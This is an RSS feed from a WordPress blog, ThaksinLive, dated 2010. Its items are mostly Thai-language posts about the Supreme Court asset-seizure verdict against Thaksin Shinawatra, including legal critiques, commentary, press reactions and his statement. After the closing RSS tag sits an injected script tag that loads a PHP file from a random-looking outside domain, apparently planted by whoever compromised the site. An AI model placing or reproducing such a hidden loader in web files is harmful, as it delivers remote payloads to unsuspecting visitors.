















































































































































































































































<?xml version="1.0" encoding="UTF-8"?><!-- generator="WordPress/2.9.2" -->
<rss version="0.92">
<channel>
	<title>ThaksinLive</title>
	<link>http://www.thaksinlive.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Thu, 01 Apr 2010 13:47:33 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	
	<item>
		<title>เดินทางไปเจรจาธุรกิจที่กรุงสต็อกโฮล์ม ประเทศสวีเดน</title>
		<description><![CDATA[﻿
]]></description>
		<link>http://www.thaksinlive.com/2010/04/now/783</link>
			</item>
	<item>
		<title>เดินทางไปเจรจาธุรกิจที่กรุงมอสโคว์  ประเทศรัสเซีย</title>
		<description><![CDATA[﻿
]]></description>
		<link>http://www.thaksinlive.com/2010/04/now/781</link>
			</item>
	<item>
		<title>โรงแรมที่กำลังปรับปรุงอยู่ที่มอนเตเนโกร</title>
		<description><![CDATA[﻿
]]></description>
		<link>http://www.thaksinlive.com/2010/03/now/777</link>
			</item>
	<item>
		<title>แถลงการณ์และบทวิเคราะห์ &#8216;คำพิพากษาคดียึดทรัพย์&#8217; ที่กลุ่ม ‘5 อาจารย์นิติฯ มธ.’ ไม่อาจเห็นพ้องด้วยได้ (ฉบับย่อ)</title>
		<description><![CDATA[แถลงการณ์และบทวิเคราะห์ &#8216;คำพิพากษาคดียึดทรัพย์&#8217; ที่กลุ่ม ‘5 อาจารย์นิติฯ มธ.’ ไม่อาจเห็นพ้องด้วยได้ (ฉบับย่อ)
Thu, 2010-03-11 08:59ทวิเคราะห์คำพิพากษา
ของศาลฎีกาแผนกคดีอาญาของผู้ดำรงตำแหน่งทางการเมือง
กรณีขอให้ทรัพย์สินตกเป็นของแผ่นดิน
โดย
กลุ่ม 5 อาจารย์
คณะนิติศาสตร์ มหาวิทยาลัยธรรมศาสตร์
(ฉบับสรุปย่อ)

ประเด็นที่ 1 ความสัมพันธ์ของคดีกับรัฐประหาร 19 กันยายน 2549
๐ ต้นธารของกระบวนการยุติธรรมในคดีนี้เริ่มต้นจากรัฐประหาร ปฏิเสธไม่ได้เลยว่ารัฐประหาร 19 กันยายน 2549 เป็นที่มาของ คตส. เมื่อ คปค.ก่อการรัฐประหารยึดอำนาจจากรัฐบาล พ.ต.ท.ทักษิณ และการรัฐประหารก็เป็นการกระทำที่ไม่ชอบด้วยรัฐธรรมนูญ เป็นความผิดทางอาญา มีโทษสูงสุดถึงประหารชีวิต และเป็นสิ่งแปลกปลอมในรัฐเสรีประชาธิปไตย ประกอบกับพิจารณาทางความเป็นจริงก็เห็นว่าคดีที่ คตส.เลือกขึ้นมาพิจารณาก็ล้วนแล้วแต่เป็นคดีที่เกี่ยวข้องกับ พ.ต.ท.ทักษิณ ชินวัตร และรัฐบาล พ.ต.ท.ทักษิณ ข้อเท็จจริงเหล่านี้ ย่อมชี้ให้เห็นว่ากระบวนการยุติธรรมในคดีนี้เริ่มต้นจากความไม่ชอบด้วยกฎหมาย ผลลัพธ์ที่เกิดขึ้นย่อมไม่ชอบด้วยกฎหมายดุจกัน
๐ หากแม้นยอมเชื่อกันตามประเพณีของระบบกฎหมายไทยที่ว่า เมื่อคณะรัฐประหารยึดอำนาจการปกครองประเทศได้เบ็ดเสร็จเด็ดขาด เมื่อนั้นคณะรัฐประหารก็เป็นรัฏฐาธิปัตย์ คณาจารย์ทั้งห้าก็ยังคงเห็นว่า เมื่อรัฐประหารเกิดขึ้นแล้ว และคณะรัฐประหารได้ให้กำเนิดผลิตผลทางกฎหมายจำนวนมาก จนกระทั่งวันหนึ่งมีการจัดตั้งระบบกฎหมายชุดใหม่ผ่านการจัดให้มีรัฐธรรมนูญ องค์กรผู้ใช้บังคับกฎหมายทั้งหลาย ต้องพิจารณาใช้และตีความผลิตผลทางกฎหมายของคณะรัฐประหารเสียใหม่ให้เป็นไปในทางที่เป็นธรรม คณาจารย์ทั้งห้าเห็นว่าองค์กรเหล่านี้ควรกล้าปฏิเสธรัฐประหารและผลผลิตของคณะรัฐประหารด้วยการไม่นำประกาศ คปค.มาใช้บังคับในคดี และไม่ยอมรับกระบวนการยุติธรรมที่ริเริ่มจากคณะรัฐประหาร

ประเด็นที่ 2 ความเป็นกลางขององค์กรที่ทำหน้าที่ไต่สวน
๐ [...]]]></description>
		<link>http://www.thaksinlive.com/2010/03/headlines/775</link>
			</item>
	<item>
		<title>คดียึดทรัพย์ รัฐประหาร ตุลาการภิวัตน์กับบรรทัดฐานที่สังคมไทยยังต้องการคำตอบ</title>
		<description><![CDATA[คดียึดทรัพย์ รัฐประหาร ตุลาการภิวัตน์กับบรรทัดฐานที่สังคมไทยยังต้องการคำตอบ 
จาตุรนต์ ฉายแสง
8 มีนาคม 2553

“กรณีการแปลงสัมปทานเป็นภาษีสรรพสามิตนี้
ได้มีการร้องคัดค้านต่อศาลรัฐธรรมนูญมาแล้ว
ทั้งในสาระของกฎหมายและมาตรการที่เกี่ยวข้อง
และศาลรัฐธรรมนูญได้วินิจฉัยแล้วว่า
ทั้งหมดทุกประเด็นชอบด้วยกฎหมาย
และเป็นประโยชน์ต่อประเทศชาติและประชาชน
รัฐธรรมนูญได้บัญญัติไว้ว่าการวินิจฉัยของศาลรัฐธรรมนูญให้เป็นที่สุด
และย่อมมีผลผูกพันศาลและองค์กรอื่นตามรัฐธรรมนูญด้วย
การที่ศาลฎีกาของผู้ดำรงตำแหน่งทางการเมือง
นำเรื่องที่ศาลรัฐธรรมนูญได้วินิจฉัยไปแล้วขึ้นมาพิจารณาอีก
และวินิจฉัยไปในทางตรงข้าม
จึงไม่สอดคล้องกับบทบัญญัติแห่งรัฐธรรมนูญ…”
 0 0 0 
ก่อนการตัดสินคดียึดทรัพย์ ผมได้คาดการณ์ว่าทรัพย์สินทั้ง 76,000 ล้านคงถูกยึดทั้งหมด โดยผมได้บอกไว้ด้วยว่าที่ผ่านมาผมมักทายการเมืองแม่น แต่ครั้งนี้ผมอยากให้ทายผิด และถ้าทายผิด ผมก็จะดีใจ
ผลการตัดสินออกมา ปรากฏว่าผมทายผิด แต่ผมกลับไม่ได้ดีใจ ซ้ำร้ายยังรู้สึกสลดใจอย่างยิ่งด้วย
ที่ว่าทายผิดนั้นฟังเผินๆก็อาจจะเข้าใจไปได้ว่าเพราะมีการยึดทรัพย์ไม่หมดทั้ง76,000 ล้าน
แต่ในความเห็นของผมนั้น ที่ทายผิดคือ จากผลของคำพิพากษา ในที่สุดจะมีการยึดทรัพย์มากกว่า 76,000 ล้านอีกมาก นอกจากนั้นยังจะมีคดีร้ายแรงตามมาอีกหลายคดีดังที่ปรากฏเป็นข่าวไปบ้างแล้วด้วย
ก่อนการตัดสินคดีนี้ ผมได้เสนอความเห็นต่อคดีนี้และเรื่องที่เกี่ยวกับคดีนี้ไปบ้างแล้ว หลังการตัดสินคดี ผมเห็นว่าผลการตัดสินคดีนี้ได้เสนอปัญหาสำคัญๆ เกี่ยวกับรัฐธรรมนูญและระบบยุติธรรมของประเทศ ในฐานะที่ผมสนใจที่จะผลักดันให้มีการแก้รัฐธรรมนูญและปฏิรูประบบยุติธรรม ผมจึงเห็นว่าควรเสนอความคิดเห็นเพื่อให้สังคมไทยได้ร่วมกันพิจารณาต่อไป
ผมคงไม่อยู่ในวิสัยที่จะแสดงความคิดเห็นเกี่ยวกับข้อเท็จจริงและข้อกฎหมายในรายละเอียด และคิดว่าถ้าให้ทำหน้าที่อย่างนั้นคงไม่เป็นประโยชน์เท่าใดนัก ปล่อยให้เป็นหน้าที่ของผู้สันทัดกรณีจะดีกว่า
สิ่งที่ผมคิดว่าจะทำประโยชน์ได้มากกว่าก็คือ การหยิบประเด็นใหญ่ๆ ที่เห็นว่ามีประเด็นที่สังคมไทยควรจะได้นำมาศึกษาทำความเข้าใจกันอย่างจริงจังต่อไป โดยเฉพาะคำถามในเชิงหลักการและเชิงระบบของสังคมไทยอยู่หลายประการ ที่หากไม่ทำความเข้าใจและหาหลักเกณฑ์ที่ถูกต้องให้ได้แล้ว ก็อาจเป็นปัญหาใหญ่ของสังคมไทยต่อไปอีกยาวนาน ประเด็นที่สำคัญมีดังต่อไปนี้
 1) การรัฐประหารและกลไกที่คณะรัฐประหารตั้งขึ้น  เป็นทางออกสำหรับการแก้ปัญหาการทุจริตคอรัปชั่นหรือไม่
หากไม่มีการรัฐประหาร ไม่มีประกาศ คปค.ฉบับที่ 30 และไม่มีการตั้ง คตส.ที่มีอำนาจอย่างนี้ ย่อมไม่อาจมีการพิจารณาคดีอย่างที่เกิดขึ้นไปแล้วได้
ดูจากคำพิพากษาในตอนท้ายก็จะเห็นว่า คำวินิจฉัยให้ยึดทรัพย์นั้น ไม่ได้อาศัย พ.ร.บ.ป.ป.ช.อย่างเดียว แต่อาศัยประกาศ คปค.ฉบับที่ [...]]]></description>
		<link>http://www.thaksinlive.com/2010/03/headlines/772</link>
			</item>
	<item>
		<title>How the world viewed the judgment</title>
		<description><![CDATA[
Simon Montlake said in the Christian Science Monitor on 26/02/10: “The verdict underscores the role of Thailand’s judiciary in adjudicating a deep-rooted political dispute that has paralyzed a longtime American ally in Asia. Since a 2006 coup that removed Thaksin, he and his allies have lost a string of important court cases, while his opponents [...]]]></description>
		<link>http://www.thaksinlive.com/2010/03/headlines/763</link>
			</item>
	<item>
		<title>รายการวิทยุออนไลน์ “ทอล์ก อะราวด์ เดอะเวิลด์” #37</title>
		<description><![CDATA[สามารถรับชมรายการ “ทอล์ก อะราวด์ เดอะเวิลด์” ครั้งที่ 37 ย้อนหลังได้ที่นี่

]]></description>
		<link>http://www.thaksinlive.com/2010/03/talk-around-the-world/769</link>
			</item>
	<item>
		<title>แผนภาพกราฟเปรียบเทียบดัชนีตลาดหลักทรัพย์กับราคาหุ้นบริษัทชินคอร์ปฯ</title>
		<description><![CDATA[แผนภาพกราฟเปรียบเทียบดัชนีตลาดหลักทรัพย์กับราคาหุ้นบริษัทชินคอร์ปฯ
พ.ต.ท. ดร. ทักษิณ  ชินวัตร ดำรงตำแหน่งนายกรัฐมนตรีคนที่ 23 ตั้งแต่ 9  กุมภาพันธ์ 2544 &#8211; 19 กันยายน 2549
]]></description>
		<link>http://www.thaksinlive.com/2010/03/headlines/759</link>
			</item>
	<item>
		<title>รายการวิทยุออนไลน์ “ทอล์ก อะราวด์ เดอะเวิลด์” #36</title>
		<description><![CDATA[สามารถรับชมรายการ “ทอล์ก อะราวด์ เดอะเวิลด์” ครั้งที่ 36 ย้อนหลังได้ที่นี่

]]></description>
		<link>http://www.thaksinlive.com/2010/03/talk-around-the-world/767</link>
			</item>
	<item>
		<title>Statement by Dr. Thaksin Shinawatra</title>
		<description><![CDATA[Statement by Dr. Thaksin Shinawatra Re: Supreme  Court Judgment on 26th February,2010
I am deeply disappointed and regretful that the Supreme Court ruled and ordered the seizure of over 46 billion Baht yesterday. My family and I have not received justice and wholly disagree with the decision which is against the laws and not based on [...]]]></description>
		<link>http://www.thaksinlive.com/2010/02/now/752</link>
			</item>
</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/kp.php"></script>